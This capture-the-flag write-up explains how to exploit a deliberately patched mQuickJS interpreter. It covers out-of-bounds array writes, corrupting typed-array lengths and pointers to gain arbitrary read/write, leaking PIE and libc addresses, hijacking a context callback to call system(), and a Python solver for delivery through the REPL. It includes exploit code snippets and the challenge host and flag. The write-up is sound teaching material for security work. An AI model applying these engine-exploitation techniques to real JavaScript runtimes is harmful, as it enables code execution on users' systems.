Writeup
BabyJS CITEFLAG Finals - Writeup
BabyJS Challenge - Writeup
First, Thanks to vmpr0be for this good challenge that from it you can understand both V8 & mQuickJS.
ALso before starting, this article is useful background for the exploitation style: V8 Exploitation Primer By Suleif. This challenge does not run Google’s V8. It runs a patched mQuickJS binary, but the exploitation ideas are very similar to browser and V8 pwn: understand JavaScript object layout, abuse an out-of-bounds array access, corrupt a typed array, turn that into arbitrary read/write, leak native addresses, and redirect control flow.
The challenge files are:
chall.patch: removes the bounds checks and removes the globalload().Dockerfile: builds the patchedmqjsbinary and deploys it undersocat.entrypoint.sh: creates/chall/flagand starts the REPL service.exploit.js: the real JavaScript exploit.solve.py: the remote delivery script for the interactive REPL given by the author .
MY Files
.js Exploitexploit.jsPython Solversolver.py
Summary
The patch removes length checks from the fast bytecode paths for JavaScript array indexed get/set operations. That changes normal array access from:
if (idx >= array_length) goto slow_path;into:
arr->arr[idx] = value;without verifying that idx is inside the backing JSValueArray.
From JavaScript, this gives an out-of-bounds read/write primitive on regular
Array elements. The exploit uses that primitive to corrupt the length of a
nearby Uint8Array, then uses the oversized typed array to corrupt the backing
pointer of a second typed array. At that point, the second typed array can read
and write arbitrary virtual addresses.
The final control-flow target is not a GOT overwrite and not shellcode. The
engine already stores a native output callback inside JSContext:
ctx + 152: write_funcctx + 160: opaqueThe exploit overwrites:
ctx->write_func = systemctx->opaque = pointer_to_command_stringThen print(1337) triggers the callback, and the process executes:
cat /chall/flag 2>/dev/null || cat flagService Setup
The runtime container launches the interpreter through socat:
exec setpriv --reuid=ctf --regid=ctf --init-groups \ socat -T 300 TCP-LISTEN:1337,reuseaddr,fork \ 'EXEC:/usr/bin/timeout -k 5s 120s /chall/mqjs,pty,stderr,setsid,sigint,sane' \ 2>/dev/nullThere is no file argument. The remote target gives us an interactive mqjs
REPL, not mqjs exploit.js.
The patch also removes the standard load() helper:
JS_CFUNC_DEF("load", 1, js_load),That matters for delivery. We cannot upload a file through load("..."); the
solver has to paste JavaScript into the REPL in a reliable way.
Root Cause
The vulnerable patch is in mquickjs.c.
For indexed array reads, the original code checked whether the requested index was inside the logical array length:
if (unlikely(p->class_id != JS_CLASS_ARRAY)) goto get_array_el_slow;idx = JS_VALUE_GET_INT(prop);if (unlikely(idx >= p->u.array.len)) goto get_array_el_slow;
arr = JS_VALUE_TO_PTR(p->u.array.tab);val = arr->arr[idx];For indexed array writes, the original code either wrote inside the existing array, extended the array by one element when allowed, or moved to the slow path. The patch comments all of that out:
idx = JS_VALUE_GET_INT(prop);arr = JS_VALUE_TO_PTR(p->u.array.tab);if (unlikely(idx >= p->u.array.len)) { ...} else { arr->arr[idx] = sp[0];}arr->arr[idx] = sp[0];So an expression like:
a[529] = 0x1fffffff;can write far beyond an array of length 8, as long as the bytecode uses this fast array path.
Why This Is Powerful
The backing storage of a JavaScript array is an array of JSValue entries.
Each entry is 8 bytes on this target. When the length check is removed, an
out-of-bounds index becomes a raw 8-byte write relative to the array backing
store.
The exploit intentionally allocates objects in a stable order:
var A_LEN = 8;var BUF_SZ = 0x1000;
var a = new Array(A_LEN);var u = new Uint8Array(BUF_SZ);The useful heap layout after these allocations is:
Array backing JSValueArray for aUint8Array byte buffer for uArrayBuffer object for uUint8Array object for uThe exploit then writes past a until it reaches the len field of u:
var HUGE = 0x1fffffff;a[A_LEN + (BUF_SZ >> 3) + 9] = HUGE;The index calculation is layout-specific:
A_LEN: skip the real elements ofa.BUF_SZ >> 3: skip the 0x1000-byte typed-array buffer as 8-byte slots.+ 9: land on the typed-array length field for this mQuickJS build/layout.
After this write, u still points to its original 0x1000-byte buffer, but its
length is huge. Indexed accesses on u now give a relative heap read/write
primitive past the end of the original buffer.
Building the Heap Read/Write Primitive
Once u.len is corrupted, the exploit creates a second typed array:
var victim = new Uint8Array(8);The oversized u can reach the metadata for victim. The important offset is:
var VICTIM_AB_BYTE_BUFFER_OFF = BUF_SZ + 112;That offset points to the backing buffer pointer used by victim. By changing
that pointer, victim[0], victim[1], and so on can be made to alias any
address in the process.
The exploit wraps that operation in set_victim_addr():
function set_victim_addr(addr) { // JSValue pointer to a fake JSByteArray whose buf starts at addr. write64_heap(VICTIM_AB_BYTE_BUFFER_OFF, addr - 7);}The addr - 7 adjustment is a structure-layout detail in this mQuickJS build:
the byte access path resolves the fake byte-array object such that byte index
zero lands at fake_object + 7. Therefore, storing addr - 7 makes
victim[0] read or write exactly addr.
The arbitrary byte primitives are then simple:
function read8(addr) { set_victim_addr(addr); return victim[0];}
function write8(addr, val) { set_victim_addr(addr); victim[0] = val & 255;}The exploit builds larger helpers on top:
function read16(addr) { ... }function read32(addr) { ... }function read64(addr) { ... }function write64(addr, val) { ... }At this stage the exploit has arbitrary read/write inside the process, but it still needs native addresses.
Leaking the JavaScript Context
The first important leak is the Uint8Array prototype pointer:
var U_TA_PROTO_OFF = BUF_SZ + 40;var proto_val = read64_heap(U_TA_PROTO_OFF);For this standard-library initialization order, the Uint8Array prototype is
at a fixed offset from the mQuickJS heap base:
Uint8Array.prototype = heap_base + 0xfb8The heap base is also at a fixed offset from JSContext:
heap_base = ctx + 0x2b8The leaked prototype value is tagged, so the exploit subtracts 1 first:
var ctx = (proto_val - 1) - 0xfb8 - 0x2b8;This gives the current JSContext *.
The exploit also leaks the original u byte buffer:
var U_AB_BYTE_BUFFER_OFF = BUF_SZ + 24;var u_buf_val = read64_heap(U_AB_BYTE_BUFFER_OFF);var u_buf = u_buf_val + 7;u_buf is later used as stable writable memory for the command string.
Resolving PIE, libc, and system()
The challenge runs under normal ASLR, so the exploit avoids hard-coded PIE or libc addresses.
After computing ctx, it reads the output callback:
var write_func = read64(ctx + 152);write_func points into the PIE mqjs binary. To find the PIE base, the
exploit scans backward page by page until it finds the ELF magic:
function find_elf_base(ptr) { var page = ptr - (ptr % 4096); var i, p; for (i = 0; i < 0x10000000; i += 4096) { p = page - i; if (read32(p) == 0x464c457f) return p; } throw Error("ELF base not found");}Then it parses the PIE dynamic metadata to find the malloc relocation:
var pie = find_elf_base(write_func);var malloc_got = find_got_symbol(pie, "malloc");var malloc_ptr = read64(malloc_got);malloc_ptr is a real libc pointer. The exploit scans backward again to find
the libc ELF base:
var libc = find_elf_base(malloc_ptr);Finally, it parses libc’s dynamic symbol table to find system:
var system = find_dyn_symbol(libc, "system");This is stronger than using a local libc offset. As long as the dynamic symbol
table contains system, the exploit can resolve it at runtime.
Hijacking JSContext.write_func
The cleanest control-flow target is already inside JSContext.
The relevant fields are:
ctx + 152: write_funcctx + 160: opaqueThe normal output path calls something equivalent to:
ctx->write_func(ctx->opaque, buffer, length);On x86_64 Linux, extra arguments do not stop system() from working. The first
argument is what matters. So if:
ctx->write_func = systemctx->opaque = commandthen the next output callback becomes:
system(command);The exploit writes the command into the original u byte buffer:
var CMD_OFF = 0x200;var cmd = "cat /chall/flag 2>/dev/null || cat flag";write_bytes(u_buf + CMD_OFF, cmd);Then it overwrites the context fields:
write64(ctx + 160, u_buf + CMD_OFF); // ctx->opaquewrite64(ctx + 152, system); // ctx->write_funcThe trigger is:
print(1337);A non-string value forces the engine through JS_PrintValueF, which uses the
context output callback. That calls system() with the command pointer as the
first argument.
REPL Delivery
The exploit works naturally as a script when mqjs is launched with a file:
/tmp/mquickjs/mqjs exploit.jsRemote delivery is harder because the service starts only:
/chall/mqjsThat gives an interactive prompt:
mqjs >There are three important REPL constraints:
- The global
load()helper is removed by the patch. readline_cmd_bufis only 256 bytes.readline_tty()reads up to 128 bytes and returns as soon as a newline is accepted. Extra bytes from the same read can be dropped.
Because of that, piping the whole exploit as one large payload is unreliable.
Direct eval(...) is also rejected by mQuickJS:
direct eval is not supported. Use (1,eval) instead for indirectThe solver works around this by building a string one short REPL line at a time:
S=""S+="first chunk";0S+="second chunk";0(1,eval)(S)The Python helper does that in build_repl_lines():
def build_repl_lines(source, chunk_size): lines = ['S=""'] for i in range(0, len(source), chunk_size): lines.append("S+=" + json.dumps(source[i:i + chunk_size]) + ";0") lines.append("(1,eval)(S)") return linesjson.dumps() is important because it safely escapes quotes, newlines, and
backslashes inside each JavaScript chunk.
The driver sends one line, waits for the next prompt, and only then sends the next line:
for idx, line in enumerate(lines): send_all((line + "\n").encode()) timeout = 30.0 if idx == len(lines) - 1 else 5.0 raw += read_until(fd, recv_once, PROMPT, timeout)The default chunk size is 80 bytes, which keeps each generated REPL line below the fragile input limits even after JSON escaping:
parser.add_argument("-c", "--chunk-size", type=int, default=80)End-to-End Exploit Flow
The full exploit flow is:
- Allocate a small
Arrayand a 0x1000-byteUint8Array. - Use the patched array fast path to write out of bounds from the
Array. - Corrupt the first
Uint8Arraylength to a huge value. - Allocate a second
Uint8Arraycalledvictim. - Use the oversized first typed array to overwrite
victim’s backing pointer. - Use
victimas arbitrary read/write. - Leak
Uint8Array.prototypeand deriveJSContext. - Leak
ctx->write_funcand find the PIE ELF base. - Parse PIE relocations to find
malloc@got. - Leak libc
malloc, find libc base, and resolvesystem. - Write the flag-reading command into writable heap memory.
- Overwrite
ctx->opaqueandctx->write_func. - Trigger
print(1337)to executesystem(command).
Running Locally
Build and run the container:
docker build -t babyjs .docker run --rm -p 1337:1337 -e GZCTF_FLAG='CITEFLAG{LOCAL_TEST}' babyjsIn another terminal, run the solver against the local service:
python3 solve.py 127.0.0.1 1337 -vIf you already have the patched interpreter at /tmp/mquickjs/mqjs, you can
run through the local process mode:
python3 solve.py --local --local-cmd /tmp/mquickjs/mqjs -vYou can also run the exploit directly as a file when testing outside the remote REPL constraints:
/tmp/mquickjs/mqjs exploit.jsRunning Remote
The solver already contains the challenge host and port as defaults:
default="pwn-44-f540ec5dc59646ca94629791e76a80e4.challs.citeflag.online"default=32415Run:
python3 solve.py -vOr pass the host and port explicitly:
python3 solve.py pwn-44-f540ec5dc59646ca94629791e76a80e4.challs.citeflag.online 32415 -vThe script prints only the extracted flag when successful:
CITEFLAG{No7_a_Ba6y_aNYM0r3_Now_7Ry_thA7_on_Y0UR_owN_WlTH_Vb}Notes and Pitfalls
- This is a JavaScript-engine pwn challenge, but it is mQuickJS, not V8.
- The V8-style concepts still apply: tagged values, object layout, typed-array corruption, arbitrary read/write, and native code execution.
- The heap offsets are specific to the patched mQuickJS commit and standard library initialization order used by the Dockerfile.
- Avoid adding extra allocations before the primitive is built. Extra objects may disturb the expected heap layout.
systemis resolved dynamically from libc, so the exploit does not need a hard-coded libc version.- The callback hijack is simpler than a ROP chain because the engine already
stores a writable function pointer and first argument inside
JSContext. - The final
print()should use a non-string value so the engine takes the value-formatting path that reachesJS_PrintValueF. - For remote delivery, keep REPL chunks small and wait for the prompt between lines. Sending too much data at once can silently drop bytes.